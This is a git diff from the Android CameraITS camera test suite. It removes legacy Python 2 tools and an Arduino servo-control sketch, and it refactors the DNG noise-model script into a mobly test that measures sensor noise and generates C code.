-        events = {"gyro": gyro, "cam": zip(starts, exptimes, readouts),
-                  "facing": facing}
-        with open("%s_events.txt" % NAME, "w") as f:
-            f.write(json.dumps(events))
-
-        # Convert the frames to RGB.
-        print "Dumping frames"
-        frames = []
-        for i, c in enumerate(caps):
-            img = its.image.convert_capture_to_rgb_image(c)
-            frames.append(img)
-            its.image.write_image(img, "%s_frame%03d.png" % (NAME, i))
-
-        return events, frames
-
-
-def procrustes_rotation(X, Y):
-    """Performs a Procrustes analysis to conform points in X to Y.
-
-    Procrustes analysis determines a linear transformation (translation,
-    reflection, orthogonal rotation and scaling) of the points in Y to best
-    conform them to the points in matrix X, using the sum of squared errors
-    as the goodness of fit criterion.
-
-    Args:
-        X: Target coordinate matrix
-        Y: Input coordinate matrix
-
-    Returns:
-        The rotation component of the transformation that maps X to Y.
-    """
-    X0 = (X-X.mean(0)) / numpy.sqrt(((X-X.mean(0))**2.0).sum())
-    Y0 = (Y-Y.mean(0)) / numpy.sqrt(((Y-Y.mean(0))**2.0).sum())
-    U, _, Vt = numpy.linalg.svd(numpy.dot(X0.T, Y0), full_matrices=False)
-    return numpy.dot(Vt.T, U.T)
-
-
-if __name__ == "__main__":
-    main()
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tools/DngNoiseModel.pdf b/apps/CameraITS/tools/DngNoiseModel.pdf
index 7cbdbd0..6216482 100644
--- a/apps/CameraITS/tools/DngNoiseModel.pdf
+++ b/apps/CameraITS/tools/DngNoiseModel.pdf
Binary files differ
diff --git a/apps/CameraITS/tools/__init__.py b/apps/CameraITS/tools/__init__.py
deleted file mode 100644
index 6c819ee..0000000
--- a/apps/CameraITS/tools/__init__.py
+++ /dev/null
@@ -1,14 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
diff --git a/apps/CameraITS/tools/arduino_servo_control.ino b/apps/CameraITS/tools/arduino_servo_control.ino
deleted file mode 100644
index 7d8c13f..0000000
--- a/apps/CameraITS/tools/arduino_servo_control.ino
+++ /dev/null
@@ -1,109 +0,0 @@
-// Copyright 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-// Import Arduino Servo library
-#include <Servo.h>
-
-// Create Servo objects
-Servo servo_1;
-Servo servo_2;
-Servo servo_3;
-Servo servo_4;
-Servo servo_5;
-Servo servo_6;
-
-// Start bits for different items. Note, these much match external script
-int servo_start_byte = 255;
-int light_start_byte = 254;
-
-// HS-755HB servo datasheet values
-int min_pulse_width = 560;   // us
-int max_pulse_width = 2500;  // us
-
-// Lighting control channel
-int light_channel = 12;  // Arduino D12 pin
-
-// User input for servo and position
-int cmd[3];           // raw input from serial buffer, 3 bytes
-int servo_num;        // servo number to control
-int angle;            // movement angle
-int i;                // counter for serial read bytes
-
-void setup() {
-  // Attach each Servo object to a digital pin
-  servo_1.attach(3, min_pulse_width, max_pulse_width);
-  servo_2.attach(5, min_pulse_width, max_pulse_width);
-  servo_3.attach(6, min_pulse_width, max_pulse_width);
-  servo_4.attach(9, min_pulse_width, max_pulse_width);
-  servo_5.attach(10, min_pulse_width, max_pulse_width);
-  servo_6.attach(11, min_pulse_width, max_pulse_width);
-
-  // Open the serial connection, 9600 baud
-  Serial.begin(9600);
-
-  // Initialize at position 0
-  servo_1.write(0);
-  servo_2.write(0);
-  servo_3.write(0);
-  servo_4.write(0);
-  servo_5.write(0);
-  servo_6.write(0);
-
-  // Create digital output & initialize HIGH
-  pinMode(light_channel, OUTPUT);
-  digitalWrite(light_channel, HIGH);
-}
-
-void loop() {
-  if (Serial.available() >= 3) {
-    // Read command
-    for (i=0; i<3; i++) {
-      cmd[i] = Serial.read();
-      Serial.write(cmd[i]);
-    }
-    if (cmd[0] == servo_start_byte) {
-      servo_num = cmd[1];
-      angle = cmd[2];
-
-      switch (servo_num) {
-        case 1:
-          servo_1.write(angle);
-          break;
-        case 2:
-          servo_2.write(angle);
-          break;
-        case 3:
-          servo_3.write(angle);
-          break;
-        case 4:
-          servo_4.write(angle);
-          break;
-        case 5:
-          servo_5.write(angle);
-          break;
-        case 6:
-          servo_6.write(angle);
-          break;
-      }
-    }
-    else if (cmd[0] == light_start_byte) {
-      if (cmd[2] == 0) {
-        digitalWrite(light_channel, LOW);
-      }
-      else if (cmd[2] == 1) {
-        digitalWrite(light_channel, HIGH);
-      }
-    }
-  }
-}
diff --git a/apps/CameraITS/tools/config.py b/apps/CameraITS/tools/config.py
deleted file mode 100644
index 52929aa..0000000
--- a/apps/CameraITS/tools/config.py
+++ /dev/null
@@ -1,66 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import its.device
-import its.target
-import sys
-
-def main():
-    """Set the target exposure.
-
-    This program is just a wrapper around the its.target module, to allow the
-    functions in it to be invoked from the command line.
-
-    Usage:
-        python config.py        - Measure the target exposure, and cache it.
-        python config.py EXP    - Hard-code (and cache) the target exposure.
-
-    The "reboot" or "reboot=<N>" and "camera=<N>" arguments may also be
-    provided, just as with all the test scripts. The "target" argument is
-    may also be provided but it has no effect on this script since the cached
-    exposure value is cleared regardless.
-
-    If no exposure value is provided, the camera will be used to measure
-    the scene and set a level that will result in the luma (with linear
-    tonemap) being at the 0.5 level. This requires camera 3A and capture
-    to be functioning.
-
-    For bring-up purposes, the exposure value may be manually set to a hard-
-    coded value, without the camera having to be able to perform 3A (or even
-    capture a shot reliably).
-    """
-
-    # Command line args, ignoring any args that will be passed down to the
-    # ItsSession constructor.
-    args = [s for s in sys.argv if s[:6] not in \
-            ["reboot", "camera", "target", "device"]]
-
-    if len(args) == 1:
-        with its.device.ItsSession() as cam:
-            # Automatically measure target exposure.
-            its.target.clear_cached_target_exposure()
-            exposure = its.target.get_target_exposure(cam)
-    elif len(args) == 2:
-        # Hard-code the target exposure.
-        exposure = int(args[1])
-        its.target.set_hardcoded_exposure(exposure)
-    else:
-        print "Usage: python %s [EXPOSURE]"
-        sys.exit(0)
-    print "New target exposure set to", exposure
-    print "This corresponds to %dms at ISO 100" % int(exposure/100/1000000.0)
-
-if __name__ == '__main__':
-    main()
-
diff --git a/apps/CameraITS/tools/convert_yuv_to_jpg.py b/apps/CameraITS/tools/convert_yuv_to_jpg.py
deleted file mode 100644
index 4498c2a..0000000
--- a/apps/CameraITS/tools/convert_yuv_to_jpg.py
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import its.image
-import sys
-
-def main():
-    """Open a YUV420 file and save it as a JPEG.
-
-    Command line args:
-        filename.yuv: The YUV420 file to open.
-        w: The width of the image.
-        h: The height of the image.
-        layout: The layout of the data, in ["planar", "nv21"].
-    """
-    if len(sys.argv) != 5:
-        print "Usage: python %s <filename.yuv> <w> <h> <layout>"%(sys.argv[0])
-    else:
-        fname, w,h = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
-        layout = sys.argv[4]
-        img = its.image.load_yuv420_to_rgb_image(fname, w,h, layout=layout)
-        its.image.write_image(img, fname.replace(".yuv",".jpg"), False)
-
-if __name__ == '__main__':
-    main()
-
diff --git a/apps/CameraITS/tools/dng_noise_model.py b/apps/CameraITS/tools/dng_noise_model.py
index db37deb..7d0fb52 100644
--- a/apps/CameraITS/tools/dng_noise_model.py
+++ b/apps/CameraITS/tools/dng_noise_model.py
@@ -1,4 +1,4 @@
-# Copyright 2014 The Android Open Source Project. Lint as python2
+# Copyright 2014 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,306 +12,339 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+import logging
 import math
 import os.path
 import textwrap
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-
 from matplotlib import pylab
 import matplotlib.pyplot as plt
+from mobly import test_runner
 import numpy as np
 import scipy.signal
 import scipy.stats
 
-BAYER_LIST = ['R', 'GR', 'GB', 'B']
-BRACKET_MAX = 8  # Exposure bracketing range in stops
-COLORS = 'rygcbm'  # Colors used for plotting the data for each exposure.
-MAX_SCALE_FUDGE = 1.1
-MAX_SIGNAL_VALUE = 0.25  # Maximum value to allow mean of the tiles to go.
-NAME = os.path.basename(__file__).split('.')[0]
-RTOL_EXP_GAIN = 0.97
-STEPS_PER_STOP = 2  # How many sensitivities per stop to sample.
-# How large of tiles to use to compute mean/variance.
-# Large tiles may have their variance corrupted by low frequency
-# image changes (lens shading, scene illumination).
-TILE_SIZE = 32
+import its_base_test
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
 
 
-def main():
-    """Capture a set of raw images with increasing analog gains and measure the noise.
-    """
+_BAYER_LIST = ('R', 'GR', 'GB', 'B')
+_BRACKET_MAX = 8  # Exposure bracketing range in stops
+_BRACKET_FACTOR = math.pow(2, _BRACKET_MAX)
+_PLOT_COLORS = 'rygcbm'  # Colors used for plotting the data for each exposure.
+_MAX_SCALE_FUDGE = 1.1
+_MAX_SIGNAL_VALUE = 0.25  # Maximum value to allow mean of the tiles to go.
+_NAME = os.path.basename(__file__).split('.')[0]
+_RTOL_EXP_GAIN = 0.97
+_STEPS_PER_STOP = 2  # How many sensitivities per stop to sample.
+_TILE_SIZE = 32  # Tile size to compute mean/variance. Large tiles may have
+                 # their variance corrupted by low freq image changes.
 
-    bracket_factor = math.pow(2, BRACKET_MAX)
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
+def check_auto_exposure_targets(auto_e, sens_min, sens_max, props):
+  """Checks if AE too bright for highest gain & too dark for lowest gain."""
 
-        # Get basic properties we need.
-        sens_min, sens_max = props['android.sensor.info.sensitivityRange']
-        sens_max_analog = props['android.sensor.maxAnalogSensitivity']
-        sens_max_meas = sens_max_analog
-        white_level = props['android.sensor.info.whiteLevel']
+  min_exposure_ns, max_exposure_ns = props[
+      'android.sensor.info.exposureTimeRange']
+  if auto_e < min_exposure_ns*sens_max:
+    raise AssertionError('Scene is too bright to properly expose at highest '
+                         f'sensitivity: {sens_max}')
+  if auto_e*_BRACKET_FACTOR > max_exposure_ns*sens_min:
+    raise AssertionError('Scene is too dark to properly expose at lowest '
+                         f'sensitivity: {sens_min}')
 
-        print 'Sensitivity range: [%f, %f]' % (sens_min, sens_max)
-        print 'Max analog sensitivity: %f' % (sens_max_analog)
 
-        # Do AE to get a rough idea of where we are.
-        s_ae, e_ae, _, _, _ = cam.do_3a(
-                get_results=True, do_awb=False, do_af=False)
-        # Underexpose to get more data for low signal levels.
-        auto_e = s_ae * e_ae / bracket_factor
-        # Focus at zero to intentionally blur the scene as much as possible.
-        f_dist = 0.0
+def create_noise_model_code(noise_model_a, noise_model_b,
+                            noise_model_c, noise_model_d,
+                            sens_min, sens_max, digital_gain_cdef, log_path):
+  """Creates the c file for the noise model."""
 
-        # If the auto-exposure result is too bright for the highest
-        # sensitivity or too dark for the lowest sensitivity, report
-        # an error.
-        min_exposure_ns, max_exposure_ns = props[
-                'android.sensor.info.exposureTimeRange']
-        if auto_e < min_exposure_ns*sens_max_meas:
-            raise its.error.Error('Scene is too bright to properly expose '
-                                  'at the highest sensitivity')
-        if auto_e*bracket_factor > max_exposure_ns*sens_min:
-            raise its.error.Error('Scene is too dark to properly expose '
-                                  'at the lowest sensitivity')
+  noise_model_a_array = ','.join([str(i) for i in noise_model_a])
+  noise_model_b_array = ','.join([str(i) for i in noise_model_b])
+  noise_model_c_array = ','.join([str(i) for i in noise_model_c])
+  noise_model_d_array = ','.join([str(i) for i in noise_model_d])
+  code = textwrap.dedent(f"""\
+          /* Generated test code to dump a table of data for external validation
+           * of the noise model parameters.
+           */
+          #include <stdio.h>
+          #include <assert.h>
+          double compute_noise_model_entry_S(int plane, int sens);
+          double compute_noise_model_entry_O(int plane, int sens);
+          int main(void) {{
+              for (int plane = 0; plane < {len(noise_model_a)}; plane++) {{
+                  for (int sens = {sens_min}; sens <= {sens_max}; sens += 100) {{
+                      double o = compute_noise_model_entry_O(plane, sens);
+                      double s = compute_noise_model_entry_S(plane, sens);
+                      printf("%d,%d,%lf,%lf\\n", plane, sens, o, s);
+                  }}
+              }}
+              return 0;
+          }}
 
-        # Start the sensitivities at the minimum.
-        s = sens_min
+          /* Generated functions to map a given sensitivity to the O and S noise
+           * model parameters in the DNG noise model. The planes are in
+           * R, Gr, Gb, B order.
+           */
+          double compute_noise_model_entry_S(int plane, int sens) {{
+              static double noise_model_A[] = {{ {noise_model_a_array:s} }};
+              static double noise_model_B[] = {{ {noise_model_b_array:s} }};
+              double A = noise_model_A[plane];
+              double B = noise_model_B[plane];
+              double s = A * sens + B;
+              return s < 0.0 ? 0.0 : s;
+          }}
 
-        samples = [[], [], [], []]
-        plots = []
-        measured_models = [[], [], [], []]
-        color_plane_plots = {}
-        while int(round(s)) <= sens_max_meas:
-            s_int = int(round(s))
-            print 'ISO %d' % s_int
-            fig, [[plt_r, plt_gr], [plt_gb, plt_b]] = plt.subplots(2, 2, figsize=(11, 11))
-            fig.gca()
-            color_plane_plots[s_int] = [plt_r, plt_gr, plt_gb, plt_b]
-            fig.suptitle('ISO %d' % s_int, x=0.54, y=0.99)
-            for i, plot in enumerate(color_plane_plots[s_int]):
-                plot.set_title('%s' % BAYER_LIST[i])
-                plot.set_xlabel('Mean signal level')
-                plot.set_ylabel('Variance')
+          double compute_noise_model_entry_O(int plane, int sens) {{
+              static double noise_model_C[] = {{ {noise_model_c_array:s} }};
+              static double noise_model_D[] = {{ {noise_model_d_array:s} }};
+              double digital_gain = {digital_gain_cdef:s};
+              double C = noise_model_C[plane];
+              double D = noise_model_D[plane];
+              double o = C * sens * sens + D * digital_gain * digital_gain;
+              return o < 0.0 ? 0.0 : o;
+          }}
+          """)
+  text_file = open(os.path.join(log_path, 'noise_model.c'), 'w')
+  text_file.write('%s' % code)
+  text_file.close()
 
-            samples_s = [[], [], [], []]
-            for b in range(BRACKET_MAX):
-                # Get the exposure for this sensitivity and exposure time.
-                e = int(math.pow(2, b)*auto_e/float(s))
-                print 'exp %.3fms' % round(e*1.0E-6, 3)
-                req = its.objects.manual_capture_request(s_int, e, f_dist)
-                fmt_raw = {'format': 'rawStats',
-                           'gridWidth': TILE_SIZE,
-                           'gridHeight': TILE_SIZE}
-                cap = cam.do_capture(req, fmt_raw)
-                mean_image, var_image = its.image.unpack_rawstats_capture(cap)
-                idxs = its.image.get_canonical_cfa_order(props)
-                means = [mean_image[:, :, i] for i in idxs]
-                vars_ = [var_image[:, :, i] for i in idxs]
 
-                s_read = cap['metadata']['android.sensor.sensitivity']
-                s_err = 's_write: %d, s_read: %d, RTOL: %.2f' % (
-                        s, s_read, RTOL_EXP_GAIN)
-                assert (1.0 >= s_read/float(s_int) >= RTOL_EXP_GAIN), s_err
-                print 'ISO_write: %d, ISO_read: %d' %  (s_int, s_read)
+class DngNoiseModel(its_base_test.ItsBaseTest):
+  """Create DNG noise model.
 
-                for pidx in range(len(means)):
-                    plot = color_plane_plots[s_int][pidx]
+  Captures RAW images with increasing analog gains to create the model.
+  def requires 'test' in name to actually run.
+  """
 
-                    # convert_capture_to_planes normalizes the range
-                    # to [0, 1], but without subtracting the black
-                    # level.
-                    black_level = its.image.get_black_level(
-                            pidx, props, cap['metadata'])
-                    means_p = (means[pidx] - black_level)/(white_level - black_level)
-                    vars_p = vars_[pidx]/((white_level - black_level)**2)
+  def test_dng_noise_model_generation(self):
+    logging.info('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-                    # TODO(dsharlet): It should be possible to account for low
-                    # frequency variation by looking at neighboring means, but I
-                    # have not been able to make this work.
+      # Get basic properties we need.
+      sens_min, sens_max = props['android.sensor.info.sensitivityRange']
+      sens_max_analog = props['android.sensor.maxAnalogSensitivity']
+      sens_max_meas = sens_max_analog
+      white_level = props['android.sensor.info.whiteLevel']
 
-                    means_p = np.asarray(means_p).flatten()
-                    vars_p = np.asarray(vars_p).flatten()
+      logging.info('Sensitivity range: [%d, %d]', sens_min, sens_max)
+      logging.info('Max analog sensitivity: %d', sens_max_analog)
 
-                    samples_e = []
-                    for (mean, var) in zip(means_p, vars_p):
-                        # Don't include the tile if it has samples that might
-                        # be clipped.
-                        if mean + 2*math.sqrt(max(var, 0)) < MAX_SIGNAL_VALUE:
-                            samples_e.append([mean, var])
+      # Do AE to get a rough idea of where we are.
+      iso_ae, exp_ae, _, _, _ = cam.do_3a(
+          get_results=True, do_awb=False, do_af=False)
 
-                    if samples_e:
-                        means_e, vars_e = zip(*samples_e)
-                        color_plane_plots[s_int][pidx].plot(
-                                means_e, vars_e, COLORS[b%len(COLORS)] + '.',
-                                alpha=0.5, markersize=1)
-                        samples_s[pidx].extend(samples_e)
+      # Underexpose to get more data for low signal levels.
+      auto_e = iso_ae * exp_ae / _BRACKET_FACTOR
+      check_auto_exposure_targets(auto_e, sens_min, sens_max_meas, props)
 
-            for (pidx, p) in enumerate(samples_s):
-                [S, O, R, _, _] = scipy.stats.linregress(samples_s[pidx])
-                measured_models[pidx].append([s_int, S, O])
-                print "Sensitivity %d: %e*y + %e (R=%f)" % (s_int, S, O, R)
+      # Focus at zero to intentionally blur the scene as much as possible.
+      f_dist = 0.0
 
-                # Add the samples for this sensitivity to the global samples list.
-                samples[pidx].extend([(s_int, mean, var) for (mean, var) in samples_s[pidx]])
+      # Start the sensitivities at the minimum.
+      iso = sens_min
+      samples = [[], [], [], []]
+      plots = []
+      measured_models = [[], [], [], []]
+      color_plane_plots = {}
+      while int(round(iso)) <= sens_max_meas:
+        iso_int = int(round(iso))
+        logging.info('ISO %d', iso_int)
+        fig, [[plt_r, plt_gr], [plt_gb, plt_b]] = plt.subplots(
+            2, 2, figsize=(11, 11))
+        fig.gca()
+        color_plane_plots[iso_int] = [plt_r, plt_gr, plt_gb, plt_b]
+        fig.suptitle('ISO %d' % iso_int, x=0.54, y=0.99)
+        for i, plot in enumerate(color_plane_plots[iso_int]):
+          plot.set_title('%s' % _BAYER_LIST[i])
+          plot.set_xlabel('Mean signal level')
+          plot.set_ylabel('Variance')
 
-                # Add the linear fit to subplot for this sensitivity.
-                color_plane_plots[s_int][pidx].plot(
-                        [0, MAX_SIGNAL_VALUE], [O, O + S*MAX_SIGNAL_VALUE],
-                        'rgkb'[pidx]+'--', label='Linear fit')
+        samples_s = [[], [], [], []]
+        for b in range(_BRACKET_MAX):
+          # Get the exposure for this sensitivity and exposure time.
+          exposure = int(math.pow(2, b)*auto_e/iso)
+          logging.info('exp %.3fms', round(exposure*1.0E-6, 3))
+          req = capture_request_utils.manual_capture_request(iso_int, exposure,
+                                                             f_dist)
+          fmt_raw = {'format': 'rawStats',
+                     'gridWidth': _TILE_SIZE,
+                     'gridHeight': _TILE_SIZE}
+          cap = cam.do_capture(req, fmt_raw)
+          mean_img, var_img = image_processing_utils.unpack_rawstats_capture(
+              cap)
+          idxs = image_processing_utils.get_canonical_cfa_order(props)
+          means = [mean_img[:, :, i] for i in idxs]
+          vars_ = [var_img[:, :, i] for i in idxs]
 
-                xmax = max([max([x for (x, _) in p]) for p in samples_s])*MAX_SCALE_FUDGE
-                ymax = (O + S*xmax)*MAX_SCALE_FUDGE
-                color_plane_plots[s_int][pidx].set_xlim(xmin=0, xmax=xmax)
-                color_plane_plots[s_int][pidx].set_ylim(ymin=0, ymax=ymax)
-                color_plane_plots[s_int][pidx].legend()
-                pylab.tight_layout()
+          s_read = cap['metadata']['android.sensor.sensitivity']
+          if not 1.0 >= s_read/float(iso_int) >= _RTOL_EXP_GAIN:
+            raise AssertionError(
+                f's_write: {iso}, s_read: {s_read}, RTOL: {_RTOL_EXP_GAIN}')
+          logging.info('ISO_write: %d, ISO_read: %d', iso_int, s_read)
 
-            fig.savefig('%s_samples_iso%04d.png' % (NAME, s_int))
-            plots.append([s_int, fig])
+          for pidx in range(len(means)):
+            plot = color_plane_plots[iso_int][pidx]
 
-            # Move to the next sensitivity.
-            s *= math.pow(2, 1.0/STEPS_PER_STOP)
+            # convert_capture_to_planes normalizes the range to [0, 1], but
+            # without subtracting the black level.
+            black_level = image_processing_utils.get_black_level(
+                pidx, props, cap['metadata'])
+            means_p = (means[pidx] - black_level)/(white_level - black_level)
+            vars_p = vars_[pidx]/((white_level - black_level)**2)
 
-        # do model plots
-        (fig, (plt_S, plt_O)) = plt.subplots(2, 1, figsize=(11, 8.5))
-        plt_S.set_title("Noise model")
-        plt_S.set_ylabel("S")
-        plt_O.set_xlabel("ISO")
-        plt_O.set_ylabel("O")
+            # TODO(dsharlet): It should be possible to account for low
+            # frequency variation by looking at neighboring means, but I
+            # have not been able to make this work.
 
-        A = []
-        B = []
-        C = []
-        D = []
-        for (pidx, p) in enumerate(measured_models):
-            # Grab the sensitivities and line parameters from each sensitivity.
-            S_measured = [e[1] for e in measured_models[pidx]]
-            O_measured = [e[2] for e in measured_models[pidx]]
-            sens = np.asarray([e[0] for e in measured_models[pidx]])
-            sens_sq = np.square(sens)
+            means_p = np.asarray(means_p).flatten()
+            vars_p = np.asarray(vars_p).flatten()
 
-            # Use a global linear optimization to fit the noise model.
-            gains = np.asarray([s[0] for s in samples[pidx]])
-            means = np.asarray([s[1] for s in samples[pidx]])
-            vars_ = np.asarray([s[2] for s in samples[pidx]])
-            gains = gains.flatten()
-            means = means.flatten()
-            vars_ = vars_.flatten()
+            samples_e = []
+            for (mean, var) in zip(means_p, vars_p):
+              # Don't include the tile if it has samples that might be clipped.
+              if mean + 2*math.sqrt(max(var, 0)) < _MAX_SIGNAL_VALUE:
+                samples_e.append([mean, var])
 
-            # Define digital gain as the gain above the max analog gain
-            # per the Camera2 spec. Also, define a corresponding C
-            # expression snippet to use in the generated model code.
-            digital_gains = np.maximum(gains/sens_max_analog, 1)
-            assert np.all(digital_gains == 1)
-            digital_gain_cdef = '(sens / %d.0) < 1.0 ? 1.0 : (sens / %d.0)' % \
-                (sens_max_analog, sens_max_analog)
+            if samples_e:
+              means_e, vars_e = zip(*samples_e)
+              color_plane_plots[iso_int][pidx].plot(
+                  means_e, vars_e, _PLOT_COLORS[b%len(_PLOT_COLORS)] + '.',
+                  alpha=0.5, markersize=1)
+              samples_s[pidx].extend(samples_e)
 
-            # Divide the whole system by gains*means.
-            f = lambda x, a, b, c, d: (c*(x[0]**2) + d + (x[1])*a*x[0] + (x[1])*b)/(x[0])
-            [result, _] = scipy.optimize.curve_fit(f, (gains, means), vars_/(gains))
+        for (pidx, p) in enumerate(samples_s):
+          [slope, intercept, rvalue, _, _] = scipy.stats.linregress(
+              samples_s[pidx])
+          measured_models[pidx].append([iso_int, slope, intercept])
+          logging.info('%s sensitivity %d: %e*y + %e (R=%f)',
+                       'RGKB'[pidx], iso_int, slope, intercept, rvalue)
 
-            [A_p, B_p, C_p, D_p] = result[0:4]
-            A.append(A_p)
-            B.append(B_p)
-            C.append(C_p)
-            D.append(D_p)
+          # Add the samples for this sensitivity to the global samples list.
+          samples[pidx].extend(
+              [(iso_int, mean, var) for (mean, var) in samples_s[pidx]])
 
-            # Plot the noise model components with the values predicted by the
-            # noise model.
-            S_model = A_p*sens + B_p
-            O_model = \
-                C_p*sens_sq + D_p*np.square(np.maximum(sens/sens_max_analog, 1))
+          # Add the linear fit to subplot for this sensitivity.
+          color_plane_plots[iso_int][pidx].plot(
+              [0, _MAX_SIGNAL_VALUE],
+              [intercept, intercept + slope * _MAX_SIGNAL_VALUE],
+              'rgkb'[pidx] + '--',
+              label='Linear fit')
 
-            plt_S.loglog(sens, S_measured, 'rgkb'[pidx]+'+', basex=10, basey=10,
-                         label='Measured')
-            plt_S.loglog(sens, S_model, 'rgkb'[pidx]+'x', basex=10, basey=10,
-                         label='Model')
-            plt_O.loglog(sens, O_measured, 'rgkb'[pidx]+'+', basex=10, basey=10,
-                         label='Measured')
-            plt_O.loglog(sens, O_model, 'rgkb'[pidx]+'x', basex=10, basey=10,
-                         label='Model')
-        plt_S.legend()
-        plt_O.legend()
+          xmax = max([max([x for (x, _) in p]) for p in samples_s
+                     ]) * _MAX_SCALE_FUDGE
+          ymax = (intercept + slope * xmax) * _MAX_SCALE_FUDGE
+          color_plane_plots[iso_int][pidx].set_xlim(xmin=0, xmax=xmax)
+          color_plane_plots[iso_int][pidx].set_ylim(ymin=0, ymax=ymax)
+          color_plane_plots[iso_int][pidx].legend()
+          pylab.tight_layout()
 
-        fig.savefig('%s.png' % (NAME))
+        fig.savefig(
+            '%s_samples_iso%04d.png' % (os.path.join(log_path, _NAME), iso_int))
+        plots.append([iso_int, fig])
 
-        # add models to subplots and re-save
-        for [s, fig] in plots:  # re-step through figs...
-            dg = max(s/sens_max_analog, 1)
-            fig.gca()
-            for (pidx, p) in enumerate(measured_models):
-                S = A[pidx]*s + B[pidx]
-                O = C[pidx]*s*s + D[pidx]*dg*dg
-                color_plane_plots[s][pidx].plot(
-                        [0, MAX_SIGNAL_VALUE], [O, O + S*MAX_SIGNAL_VALUE],
-                        'rgkb'[pidx]+'-', label='Model', alpha=0.5)
-                color_plane_plots[s][pidx].legend(loc='upper left')
-            fig.savefig('%s_samples_iso%04d.png' % (NAME, s))
+        # Move to the next sensitivity.
+        iso *= math.pow(2, 1.0/_STEPS_PER_STOP)
 
-        # Generate the noise model implementation.
-        A_array = ",".join([str(i) for i in A])
-        B_array = ",".join([str(i) for i in B])
-        C_array = ",".join([str(i) for i in C])
-        D_array = ",".join([str(i) for i in D])
-        noise_model_code = textwrap.dedent("""\
-            /* Generated test code to dump a table of data for external validation
-             * of the noise model parameters.
-             */
-            #include <stdio.h>
-            #include <assert.h>
-            double compute_noise_model_entry_S(int plane, int sens);
-            double compute_noise_model_entry_O(int plane, int sens);
-            int main(void) {
-                for (int plane = 0; plane < %d; plane++) {
-                    for (int sens = %d; sens <= %d; sens += 100) {
-                        double o = compute_noise_model_entry_O(plane, sens);
-                        double s = compute_noise_model_entry_S(plane, sens);
-                        printf("%%d,%%d,%%lf,%%lf\\n", plane, sens, o, s);
-                    }
-                }
-                return 0;
-            }
+    # Do model plots
+    (fig, (plt_slope, plt_intercept)) = plt.subplots(2, 1, figsize=(11, 8.5))
+    plt_slope.set_title('Noise model')
+    plt_slope.set_ylabel('Slope')
+    plt_intercept.set_xlabel('ISO')
+    plt_intercept.set_ylabel('Intercept')
 
-            /* Generated functions to map a given sensitivity to the O and S noise
-             * model parameters in the DNG noise model. The planes are in
-             * R, Gr, Gb, B order.
-             */
-            double compute_noise_model_entry_S(int plane, int sens) {
-                static double noise_model_A[] = { %s };
-                static double noise_model_B[] = { %s };
-                double A = noise_model_A[plane];
-                double B = noise_model_B[plane];
-                double s = A * sens + B;
-                return s < 0.0 ? 0.0 : s;
-            }
+    noise_model = []
+    for (pidx, p) in enumerate(measured_models):
+      # Grab the sensitivities and line parameters from each sensitivity.
+      slp_measured = [e[1] for e in measured_models[pidx]]
+      int_measured = [e[2] for e in measured_models[pidx]]
+      sens = np.asarray([e[0] for e in measured_models[pidx]])
+      sens_sq = np.square(sens)
 
-            double compute_noise_model_entry_O(int plane, int sens) {
-                static double noise_model_C[] = { %s };
-                static double noise_model_D[] = { %s };
-                double digital_gain = %s;
-                double C = noise_model_C[plane];
-                double D = noise_model_D[plane];
-                double o = C * sens * sens + D * digital_gain * digital_gain;
-                return o < 0.0 ? 0.0 : o;
-            }
-            """ % (len(A), sens_min, sens_max, A_array, B_array, C_array, D_array, digital_gain_cdef))
-        print noise_model_code
-        for i, _ in enumerate(BAYER_LIST):
-            read_noise = C[i] * sens_min * sens_min + D[i]
-            e_msg = '%s model min ISO noise < 0! C: %.4e, D: %.4e, rn: %.4e' % (
-                    BAYER_LIST[i], C[i], D[i], read_noise)
-            assert read_noise > 0, e_msg
-            assert C[i] > 0, '%s model slope is negative. slope=%.4e' % (
-                    BAYER_LIST[i], C[i])
-        text_file = open("noise_model.c", "w")
-        text_file.write("%s" % noise_model_code)
-        text_file.close()
+      # Use a global linear optimization to fit the noise model.
+      gains = np.asarray([s[0] for s in samples[pidx]])
